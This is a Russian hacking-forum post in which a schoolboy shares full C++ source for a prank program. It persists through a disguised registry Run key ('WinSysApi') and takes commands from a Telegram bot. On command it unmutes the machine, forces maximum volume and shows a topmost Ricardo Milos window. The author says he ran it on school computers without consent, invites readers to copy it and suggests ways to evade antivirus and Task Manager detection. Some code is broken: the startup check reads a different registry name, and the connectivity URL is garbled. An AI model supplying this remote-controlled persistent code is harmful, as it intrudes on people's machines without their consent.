Софт для муток кипиша с Рикардо Милосом и Гачимучи

  • Автор темы Автор темы Zeyrin574
  • Дата начала Дата начала
  • Теги Теги
    soft
Я сидел на уроке и осознал, что этот мир явно слишком скучен, поэтому я решил все изменить,
добавив к скуке еще и раздражение хвхвхв


Идея состояла в том, что мое приложение принимает команду начала мутки и запускает
функцию, выводящую на экран танец Рикардо Милоса под громкие гачи звуки. Wee Wee 300 bucks и всякое поинтереснее

Программу я написал на С++, так как это был единственный транслируемый язык, который я знал на момент написания проги

Из библиотек я использовал SFML для покадрового выведения Милоса, её же я использовал для воспроизведения звука.
Также я использовал tgbot-cpp для отправки команд и получения записанного в ходе ора звука.

Для отправки команд я создал группу в тг, закинул туда всех ботов


Ща покажу код, если кому интересно или хочется намутить что-то такое же, тут ведь много таких же школьников недохацкеров хвхвхвх

C++:
#include <tgbot/tgbot.h>//для получения команд



#include <SFML/Audio.hpp>//Для воспроизведения звука



#include <mmdeviceapi.h>//Эти две библиотеки нужны для отключения mute

#include <endpointvolume.h>// и увеличения звука до 100



#include <SFML/Graphics.hpp>//Для создания окна и рендеринга кадров



#include <thread>//Чтобы отделить поток окна от потока следящего за командами

#include <chrono>//для муток с временем



#include <random>//нужно, чтобы перемещать окно в рандомное место

#include <filesystem>//нужно для нахождения пути к exe



#include <wininet.h>//для проверки подключения к инету

#pragma comment(lib, "wininet.lib")







namespace fs = std::filesystem;



std::string getPathToExe() {//функция возвращает путь к exe, не включая сам exe

    wchar_t buffer[MAX_PATH];

    GetModuleFileName(NULL, buffer, MAX_PATH);

    fs::path path(buffer);

    return path.parent_path().string() + "\\";

}

std::string pathToExe = getPathToExe();

void DisableMute() {//убирает mute

    CoInitialize(nullptr);

    IMMDeviceEnumerator* pEnum = nullptr;

    IMMDevice* pDevice = nullptr;

    IAudioEndpointVolume* pVolume = nullptr;



    if (SUCCEEDED(CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pEnum)) &&

        SUCCEEDED(pEnum->GetDefaultAudioEndpoint(eRender, eConsole, &pDevice)) &&

        SUCCEEDED(pDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_ALL, nullptr, (void**)&pVolume))) {

        BOOL isMuted;

        if (SUCCEEDED(pVolume->GetMute(&isMuted)) && isMuted) {

            pVolume->SetMute(FALSE, nullptr);

        }

        pVolume->Release();

    }

    if (pDevice) pDevice->Release();

    if (pEnum) pEnum->Release();

    CoUninitialize();

 

 

}

void SetGlobalVolume(float volumeLevel) {//ставит звук на указанный уровень

    CoInitialize(nullptr);

    IMMDeviceEnumerator* pEnum = nullptr;

    IMMDevice* pDevice = nullptr;

    IAudioEndpointVolume* pVolume = nullptr;



    if (SUCCEEDED(CoCreateInstance(__uuidof(MMDeviceEnumerator), nullptr, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pEnum)) &&

        SUCCEEDED(pEnum->GetDefaultAudioEndpoint(eRender, eConsole, &pDevice)) &&

        SUCCEEDED(pDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_ALL, nullptr, (void**)&pVolume))) {

        pVolume->SetMasterVolumeLevelScalar(volumeLevel, nullptr);

        pVolume->Release();

    }

    if (pDevice) pDevice->Release();

    if (pEnum) pEnum->Release();

    CoUninitialize();

}



int getRandomNumber(int start, int end) {//функция для получения рандомного числа

    std::random_device rd;

    std::mt19937 gen(rd());

    std::uniform_int_distribution<> dist(start, end);

    int random_number = dist(gen);

    return random_number;

}



bool checkInternetConnection() {

    // Проверяем доступ к общедоступному ресурсу Microsoft или google я юзал так

    //такой метод вроде как не рекомендуется, но у меня работало, так что я не парился

    if (InternetCheckConnection(L"Microsoft – официальная домашняя страница", FLAG_ICC_FORCE_CONNECTION, 0)) {

        return true; // Инет есть

    }

    else {

        return false; // Инета нет

    }

}





void gachi() {

    std::string pathToRicardo = pathToExe + "Ricardo";//путь к папке с кадрами рикардо

    std::string pathToSounds = pathToExe + "Sounds";//путь к папке с звуками

    std::vector<sf::Texture> textures;//подгрузка текстур

    for (auto& i : fs::directory_iterator(pathToRicardo)) {

        sf::Texture texture;

        if (texture.loadFromFile(i.path().string())) {

            textures.push_back(texture);

        }

    }

    std::vector<sf::SoundBuffer> sounds;//подгрузка звуков

    for (auto& i : fs::directory_iterator(pathToSounds)) {

        sf::SoundBuffer soundBuffer;

        if (soundBuffer.loadFromFile(i.path().string())) {

            sounds.push_back(soundBuffer);

        }

    }



    sf::RenderWindow window(sf::VideoMode(600, 600),"", sf::Style::None);

    int screenWidth = GetSystemMetrics(SM_CXSCREEN);

    int screenHeight = GetSystemMetrics(SM_CYSCREEN);

    window.setPosition(sf::Vector2i(getRandomNumber(0, screenWidth - 601), getRandomNumber(0, screenHeight - 601)));



    HWND hwnd = window.getSystemHandle();

    SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);



    window.setFramerateLimit(30);



    sf::Sound sound(sounds[getRandomNumber(0, sounds.size() - 1)]);

    int n = 0;

    int texturesSize = textures.size();

    DisableMute();

    SetGlobalVolume(1.f);

    sound.play();

    while (window.isOpen()) {

        if (n >= texturesSize)n = 0;

        if (n == 50) {

            DisableMute();

            SetGlobalVolume(1.f);

        }

        sf::Sprite sprite(textures[n]);

        window.clear();

        window.draw(sprite);

        window.display();

        n++;



        if (sound.getStatus() != sf::Sound::Playing)window.close();

    }

}



std::string getTokenFromFile() {

    std::string filename = "token.txt";

    std::ifstream file(pathToExe + filename);

    std::string token;

    while (std::getline(file, token)) {

        file.close();

        return token;



    }

}



bool isRecent(int64_t time) {//проверяет, чтобы команды были не старше 5 минут

    auto now = std::chrono::system_clock::now();

    auto messageTime = std::chrono::system_clock::from_time_t(static_cast<time_t>(time));

    auto duration = std::chrono::duration_cast<std::chrono::minutes>(now - messageTime);

    return duration.count() <= 5;

}



void getChatId(std::string token) {//добавляешь бота в группу и отправляешь команду

    TgBot::Bot bot(token);

    bot.getEvents().onCommand("getId", [&bot](TgBot::Message::Ptr m) {

        if (isRecent(m->date)) {

            std::cout << m->chat->id << std::endl;//выводит id чата

        }

        });

    TgBot::TgLongPoll longpoll(bot);

    while (true) {

        longpoll.start();

    }

}



void tgbot() {

    TgBot::Bot bot(getTokenFromFile());

    int64_t chatid = -1000000000000000;//какое-то отрицательное число



    bot.getApi().sendMessage(chatid, "ready to zateat mutku");//отправляет уведомление о готовности работы



    bot.getEvents().onCommand("ready", [&bot, &chatid](TgBot::Message::Ptr message){

        //эта команда проверяет готов ли комп орать без самого ора

        if (isRecent(message->date)) {

            bot.getApi().sendMessage(chatid, "ready to zateat mutku");

        }

        });



    bot.getEvents().onCommand("gachi", [&bot](TgBot::Message::Ptr message) {

        if (isRecent(message->date)) {

            std::thread t(gachi);

            t.detach();//без отделения потока функции при нажатии на окно программа тормозит

        }

        });



    TgBot::TgLongPoll longpoll(bot);

    while (true) {

        longpoll.start();

    }

}



bool addToStartup() {//такой автозапуск палит любой антивирус, но можно добавить исключение или намутить еще что нить

    HKEY hKey;

    wchar_t exePath[MAX_PATH];

    if (GetModuleFileNameW(NULL, exePath, MAX_PATH) == 0) {

        return false;

    }



    const std::wstring appName = L"WinSysApi";  // Название программы

    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) {

        return false;

    }

    if (RegSetValueExW(hKey, appName.c_str(), 0, REG_SZ, reinterpret_cast<const BYTE*>(exePath), (wcslen(exePath) + 1) * sizeof(wchar_t)) != ERROR_SUCCESS) {

        RegCloseKey(hKey);

        return false;

    }

    RegCloseKey(hKey);

    return true;

}



// Функция для проверки автозапуска

bool isProgramInStartup() {

    HKEY hKey;

    const std::wstring appName = L"WinHidenMutki";  // Название программы

    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {

        return false;

    }



    wchar_t buffer[1024];

    DWORD bufferSize = sizeof(buffer);

    if (RegQueryValueExW(hKey, appName.c_str(), 0, NULL, reinterpret_cast<BYTE*>(buffer), &bufferSize) == ERROR_SUCCESS) {

        RegCloseKey(hKey);

        return true;

    }

    RegCloseKey(hKey);

    return false;

}



int main() {

    if (!isProgramInStartup()){//проверка на автозапуск

        addToStartup();

    }

    while (true) {

        try {

            if (checkInternetConnection()) {//можно просто пытаться использовать tgbot без проверок

                tgbot();

            }

        }

        catch (std::exception & e) {

            std::this_thread::sleep_for(std::chrono::minutes(1));

        }

    }

    return 0;

}

Автозапуск палится в диспетчере задач, так и спалили мою программу, но к этому моменту я уже успел
позлить юзеров школьных компов, хотя многие сочли прогру забавной.

Можно сделать автозапуск службой, чтобы избежать пали из диспетчера задач.

Программа сильно палевная, можно сделать шифрование токенов, хранить их в бинарном виде,
зашифровать кадры и звуки или засунуть их подальше, я не особо шарю в этом. Про палевность с токенами и id чата я ничего не знаю
Усе
 
а перевести на русский язык можно пост? ))) я понимаю, тут часть текста на техническом сленге программиста. а большая часть текста тупо кринж. )))
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab